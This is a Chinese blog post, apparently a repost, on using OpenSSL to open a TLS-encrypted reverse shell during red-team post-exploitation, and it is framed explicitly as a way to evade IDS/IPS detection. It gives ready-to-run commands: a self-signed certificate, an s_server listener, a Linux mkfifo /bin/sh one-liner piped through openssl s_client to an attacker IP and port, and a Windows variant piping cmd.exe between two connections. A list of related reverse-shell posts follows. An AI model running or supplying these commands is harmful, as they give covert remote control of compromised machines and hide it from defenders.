linux openssl 反弹加密 shell

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

前言

在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell,这里列出了使用各种语言进行反弹 shell 的方法,我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。

我们使用 nc 反弹 shell 进行测试

使用 wireshark 可以直接看到我们执行的命令和返回信息

在这种情况下当我们进行操作时,网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止,因此需要对通信内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密 shell。

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份

利用 OpenSSL 反弹 shell 之前需要生成自签名证书

使用 OpenSSL 生成证书自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车

使用 OpenSSL 反弹加密 shell

Linux

假设我们从 A 主机反弹 shell 到 B 主机

------------------                  ----------------------
| A:172.16.1.175 |  --- shell ---> | B:172.16.1.174:1337 |
------------------                  ----------------------

首先需用利用上一步生成的自签名证书,在 B 主机上使用 OpenSSL 监听一个端口,在这里使用 1337 端口

命令为:

openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server

这时在 B 主机进行反弹 shell 操作,命令为:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s

这样就使用 OpenSSL 反弹了一个加密的 shell

效果如下:

使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信

Windows

在 Windows 系统上反弹加密 shell 的方式有点不一样

具体命令如下:

openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

以上命令会从 [ip]:[port1] 获取命令发送给 cmd.exe执行,然后把结果返回到 [ip]:[port2]

因此在本机需要启动两个 s_server

从 port1 发送命令到 cmd

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1] 

从 port2 获取发送给 port1 的命令执行结果

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]

OpenSSL 还有很多功能,这里详细的列出了 OpenSSL 的常见使用方法

在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server

使用 OpenSSL 搭建简易 HTTPS Server

使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出

openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW

以上命令在 44330 端口启动了一个 HTTPS Server

 

 

内网渗透之Linux反弹shell(综合) 目录 知识点 Linux mkfifo命令基本用法 1.首先了解linux命令执行顺序 2.然后了解下管道命令(pipe) 3.常见管道命令 4.mkfifo则可以创建命名管道 Linux标准文件描述符 更改标准输出的位置 更改标准输入的位置 /dev/null 重定向 输入重定向 输出重定向 管道 环境 01NC正向Sh... 阅读详情

相关推荐

WEB安全基础 - - -Linux反弹shell

详细讲解Linux反弹shell包含的NC正向shell,NC反向shell,bash反弹shell,无e参数反弹shell,Base64编码绕过,Telnet反弹shellOpenSSL反弹443端口,流量加密传输

weixin_67503304的博客 3442

Linuxshell中采用openssl加密

参考网址:http://sunnybay.blog.51cto.com/2249903/1406690 这篇文章写得非常好,给满分 下面附上自己对照着撸出来的代码仅仅当作笔记记录 # !/bin/bash password=GMEnginE@123 echo $password | openssl enc -aes-256-cbc -S "1ae3b897" -out pass.aes -p

huangmaoman的博客 3582

反弹Shell,看这一篇就够了

前言 在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹shell是再常见不过的事情了。 反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。 正向连接 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。 反向连接 那么为什么要用反弹shell

Appleteachers的博客 1636

OpenSSL加密解密文件

(注:这里install.log是你想要加密的文件,enc.log是加密后的文件,回车后系统会提示你输入密码。-out选项:输出文件,对于加密来说,输出的应该是加密后的文件名;(注:enc.log是刚才加密的文件,install.log是解密后的文件,-d选项实现解密功能。-pass选项:选择输入口令的方式,输入源可以是标准输入设备,命令行输入,文件、变量等。-K选项:手动输入加密密钥(不使用该选项,Openssl会使用口令自动提取加密密钥)。-e选项:实现加密功能(不使用-d选项的话默认是加密选项)。

码灵的博客 1989

openssl命令_使用OpenSsl加密反弹shell

一、实际环境:当我们使用nc等工具进行反弹shell时,流量都是没经过加密,直接传输的,管理员很容易就能发现我们的异常流量,而且现在大部分企业内部都会有各种流量监测设备,所以在这种情况下当我们进行操作时,网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止,因此需要对通信内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密 shellOpenSSL ...

weixin_39713538的博客 469

红队隧道加密OpenSSL加密反弹Shell(一)

OpenSSL是一个开源的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。OpenSSL 可以运行在OpenVMS、 Microsoft Windows以及绝大多数类Unix操作系统上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。它也提供了一个移植版本,可以在IBM i(OS/400)上运作。

xf555er的博客 1135

openssl 测试加密卡_使用 OpenSSL 反弹加密 shell

博客:HeyComputerReferrence:https://xax007.github.io/2019-03-07-reverse-encrypted-shell-with-openssl/目录前言OpenSSL 简介使用 OpenSSL 生成证书自签名证书使用 OpenSSL 反弹加密 shellLinuxWindows使用 OpenSSL 搭建简易 HTTPS Server参考...

weixin_42527464的博客 239

反弹shell,一篇概括

在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹shell是再常见不过的事情了。反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。SSL协议要求建立在可靠的传输层协议(TCP)之上。

m0_63733486的博客 989

使用 OpenSSL 反弹加密 shell

Referrence:https://xax007.github.io/2019-03-07-reverse-encrypted-shell-with-openssl/ 目录 前言 OpenSSL 简介 使用 OpenSSL 生成证书自签名证书 使用 OpenSSL 反弹加密 shell Linux Windows 使用 OpenSSL 搭建简易 HTTPS Ser...

weixin_30810583的博客 312

Linux反弹shell姿势汇总

1、netcat反弹shell 目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下: wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz tar -xvzf netcat-0.7.1.tar.gz ./configure

isxiaole的博客 990

反弹shell原理

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标IP:目标端口),这是比较常规的形式,我们叫做正向连接。远程桌面,ssh,web服务,smb等等那么什么情况下正向连接不太好用了?(1)某客户机中了你的木马,但是它在局域网内,你直接连接不了。它的IP会动态改变,你不能持续控制。(2)由于防火墙或局域网的限制,对方机器只能发送请求,不能主动请求。

m0_63615772的博客 2580

使用 openssl反弹加密 shell

目录 前言 OpenSSL 简介 使用 OpenSSL 生成证书自签名证书 使用 OpenSSL 反弹加密 shell Linux Windows 使用 OpenSSL 搭建简易 HTTPS Server 前言 在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell,这里列出了使用各种语言进行反弹 shell 的方法,我发现这种反弹 shell 方式都有一个缺点...

whatday的专栏 842

OpenSSL反弹加密shell

在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell,这里列出了使用各种语言进行反弹 shell 的方法,我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。本文介绍了openssl反弹加密shell的常规方法。

redwand的博客 558

【转】反弹Shell,看这一篇就够了

前言 在渗透测试实战中,我们经常会遇到Linux系统环境,而让Linux主机反弹shell是再常见不过的事情了。 反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。 正向连接 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。 反向连接 那么为什么要用反弹shell

mastergu2的博客 3万+

蓝队钓鱼反制红队Sqlmap隐式获取红队Shell

蓝队通过伪装的Sql Post 注入漏洞来钓鱼红队 红队人员通过Sqlmap注入时执行恶意的LinuxShell命令 导致红队人员的攻击机客户端控制权移交至蓝队服务器

SxyLao1的博客 1573

流量加密OpenSSL反弹加密

OpenSSL 是一个强大的、商业级的、功能齐全的开源工具包,用于 TLS(以前称为 SSL)、DTLS 和 QUIC(目前仅限客户端)协议,协议实现基于全功能通用加密库,也可以单独使用,还包括一个加密模块经过验证,符合 FIPS 标准,是一个安全套接字层密码库,囊括主要的密码算法、常用密钥、证书封装管理功能,主要用于实现ssl协议。

Welcome To My6n Blog 939

SHELL 刷题_使用 OpenSSL 反弹加密 shell

博客:HeyComputerReferrence:https://xax007.github.io/2019-03-07-reverse-encrypted-shell-with-openssl/目录前言OpenSSL 简介使用 OpenSSL 生成证书自签名证书使用 OpenSSL 反弹加密 shellLinuxWindows使用 OpenSSL 搭建简易 HTTPS Server参考...

weixin_39722188的博客 166

adb shell 乱码_使用 OpenSSL 反弹加密 shell

博客:HeyComputerReferrence:https://xax007.github.io/2019-03-07-reverse-encrypted-shell-with-openssl/目录前言OpenSSL 简介使用 OpenSSL 生成证书自签名证书使用 OpenSSL 反弹加密 shellLinuxWindows使用 OpenSSL 搭建简易 HTTPS Server参考...

weixin_39724004的博客 166
上一篇: python3 pycharm 断点调试 报错 greenlet.error: cannot switch to a different thread
下一篇: icmp反弹shell 简介
whatday
博客等级 码龄20年 3668粉丝 96原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值